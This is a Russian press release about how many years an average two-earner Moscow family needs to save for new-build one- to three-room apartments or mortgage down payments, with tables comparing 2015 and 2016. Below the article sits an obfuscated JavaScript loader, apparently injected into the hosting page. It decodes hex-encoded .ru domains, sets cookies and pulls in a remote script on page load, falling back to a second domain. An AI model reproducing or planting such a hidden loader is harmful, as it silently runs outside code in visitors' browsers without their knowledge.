Москва 
Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подсчитали, сколько лет нужно копить на покупку одно-, двух- или трехкомнатной квартиры в новостройке эконом- и комфорт-класса в «старых» границах Москвы семье из двух взрослых со среднестатистической зарплатой, которая по данным Федеральной службы статистики за I квартал этого года составила 66 032 рубля. Эти данные аналитики сравнили с результатами исследования за аналогичный период 2015 года. За год в связи с сокращением бюджета покупки срок накопления на столичную однокомнатную квартиру в экономклассе уменьшился на год и 2 месяца (6,6 лет), а в комфорт-классе – на год и 1 месяц (7,6 лет). Для двухкомнатных квартир этот показатель в экономклассе снизился на 3 года и 1 месяц (8,8 лет), а в комфорт-классе – на год и 4 месяца (11,8 лет). Срок накопления на трехкомнатную квартиру в экономклассе сократился на 6 лет (11,8 лет), а в комфорт-классе – на год и 1 месяц (14,6 лет).
Средняя заработная плата в Москве составляет порядка 66 тыс. рублей, то есть совместный доход семьи, состоящей из двух взрослых, – порядка 132 тыс. рублей. Год назад данный показатель равнялся 66 127 рублей. Если рассчитывать, что 50% семейного дохода будет идти на накопления (данную формулу применяют при аккредитации заемщиков – размер выплат на квартиру не должен превышать 50% от общего дохода семьи, чтобы поддерживать необходимый уровень жизнь), то размер ежемесячных накоплений обычной московской семьи может составить 66 тыс. рублей.
За год средний бюджет покупки на все типы квартир в экономклассе сократился:
- на однокомнатные квартиры – на 7,6%;
- на двухкомнатные квартиры – на 20,7%;
- на трехкомнатные квартиры – на 27,5%.
Средняя стоимость квартир, II квартал, 2015 год
Тип квартиры
Средняя стоимость,
экономкласс млн руб.
Средняя стоимость,
комфорт-класс, млн руб.
1-комн.
5,51
6,17
2-комн.
8,63
9,46
3-комн.
12,73
11,32
Средняя стоимость квартир, II квартал, 2016 год
Тип квартиры
Средняя стоимость,
экономкласс млн руб.
Средняя стоимость,
комфорт-класс, млн руб.
1-комн.
5,09
5,91
2-комн.
6,84
9,19
3-комн.
9,23
11,46
За год средний бюджет покупки в комфорт-классе изменился следующим образом:
- на однокомнатные квартиры – снизился на 4,2%;
- на двухкомнатные квартиры – сократился на 2,9%;
- на трехкомнатные квартиры – вырос на 1,2%.
Исходя из того, что средняя стоимость однокомнатной квартиры экономкласса в «старых» границах Москвы составляет порядка 5,1 млн рублей, а комфорт-класса – 5,9 млн рублей, семья, где оба взрослых получают среднестатистическую московскую зарплату и не имеют иных источников доходов, на покупку «однушки» в экономклассе им придется копить 6 лет и 6 месяцев, в комфорт-классе – 7 лет и 6 месяцев. За год в связи с сокращением бюджета покупки срок накопления на столичную однокомнатную квартиру в экономклассе уменьшился на год и 2 месяца, а в комфорт-классе – на год и 1 месяц.
Средний бюджет покупки двухкомнатной квартиры экономкласса находится на уровне 6,8 млн рублей, комфорт-класса – 9,2 млн рублей, таким образом, срок накопления на «двушку» в экономклассе доходит до 8 лет и 8 месяцев, в комфорт-классе – до 11 лет и 8 месяцев. За год срок накопления на двухкомнатную квартиру в экономклассе сократился на 3 года и 1 месяц, а в комфорт-классе – на год и 4 месяца.
При среднем бюджете покупки на трехкомнатную квартиру в экономклассе, равняющемся 9,2 млн рублей, а в комфорт-классе – 11,5 млн рублей, копить на покупку «трешки» в экономклассе покупатели должны 11 лет и 8 месяцев, в комфорт-классе – 14 лет и 6 месяцев. За год срок накопления на трехкомнатную квартиру в экономклассе сократился на 6 лет, а в комфорт-классе – на год и 1 месяц. При подсчетах уровень инфляции не учитывался.
Срок накопления на полную стоимость, II квартал, 2015 год
Тип квартиры
Срок накопления,
экономкласс
Срок накопления,
комфорт-класс
1-комн.
7 лет 8 месяцев
8 лет 7 месяцев
2-комн.
12 лет
13 лет 2 месяца
3-комн.
17 лет 8 месяцев
15 лет 7 месяцев
Срок накопления на полную стоимость, II квартал, 2016 год
Тип квартиры
Срок накопления,
экономкласс
Срок накопления,
комфорт-класс
1-комн.
6 лет 6 месяцев
7 лет 6 месяцев
2-комн.
8 лет 8 месяцев
11 лет 8 месяцев
3-комн.
11 лет 8 месяцев
14 лет 6 месяцев
Помимо оплаты полной стоимости квартиры, покупатели могут оформить ипотечный кредит. На сегодняшний день минимальный первоначальный взнос по ипотечному кредиту в рамках программ с господдержкой (на них приходится порядка 85% ипотечных сделок) составляет 20% от стоимости квартиры. С учетом средних бюджетов покупки, на первоначальный взнос в размере 20% для однокомнатной квартиры, семья со среднестатистическим доходом будет копить 1 год и 4 месяца в экономклассе (размер взноса – 1,01 млн рублей) и 1 год и 6 месяцев – в комфорт-классе (размер взноса – 1,18 млн рублей). За год срок накопления на ипотечный взнос для экономкласса сократился на 3 месяца, для комфорт-класса – на 2 месяца.
Сроки накопления первоначального взноса на двухкомнатную квартиру в экономклассе (1,36 млн рублей) составляют 1 год и 9 месяцев и комфорт-классе (1,83 млн рублей) – 2 года и 4 месяца. За год срок накопления на ипотечный взнос для экономкласса сократился на 6 месяцев, для комфорт-класса – на 4 месяца.
Для оформления ипотеки на трехкомнатную квартиру покупателям придется копить в экономклассе (1,84 млн рублей) 2 года и 4 месяца и в комфорт-классе (2,29 млн рублей) – 2 года и 11 месяцев. За год срок накопления на ипотечный взнос для экономкласса сократился на 1 год и 3 месяца, для комфорт-класса – на 3 месяца.
Срок накопления на первоначальный взнос, II квартал, 2015 год
Тип квартиры
Первоначальный взнос /
срок накопления,
экономкласс млн руб.
Первоначальный взнос /
срок накопления,
комфорт-класс, млн руб.
1-комн.
1,1 млн руб. / 1 год 7 месяцев
1,23 млн руб. / 1 год 8 месяцев
2-комн.
1,72 млн руб. / 2 года 5 месяцев
1,89 млн руб. / 2 года 8 месяцев
3-комн.
2,54 млн руб. / 3 года 7 месяцев
2,26 млн руб. / 3 года 2 месяца
Срок накопления на первоначальный взнос, II квартал, 2016 год
Тип квартиры
Первоначальный взнос /
срок накопления,
экономкласс млн руб.
Первоначальный взнос /
срок накопления,
комфорт-класс, млн руб.
1-комн.
1,01 млн руб. / 1 год 4 месяца
1,18 млн руб. / 1 год 6 месяцев
2-комн.
1,36 млн руб. / 1 год 9 месяцев
1,83 млн руб. / 2 года 4 месяца
3-комн.
1,84 млн руб. / 2 года 4 месяца
2,29 млн руб. / 2 года 11 месяцев
«Несмотря на то, что даже номинальные доходы населения за прошедший год почти не выросли, новые жилье в столице действительно стало доступней для среднестатистического потребителя. Сокращение средних бюджетов покупки позволяет потенциальным покупателям меньше времени тратить на накопление как полной стоимости, так и первого взноса на ипотечный кредит. В том числе более доступное жилье повышает мобильность населения – молодые семьи могут самостоятельно накопить на первоначальном этапе на однокомнатную квартиру, а далее ее разменять на более просторное жилье, увеличив свой бюджет за счет роста стоимости их квартиры по мере возведения дома», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.
// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>
- Комментарии: 0
Добавить комментарий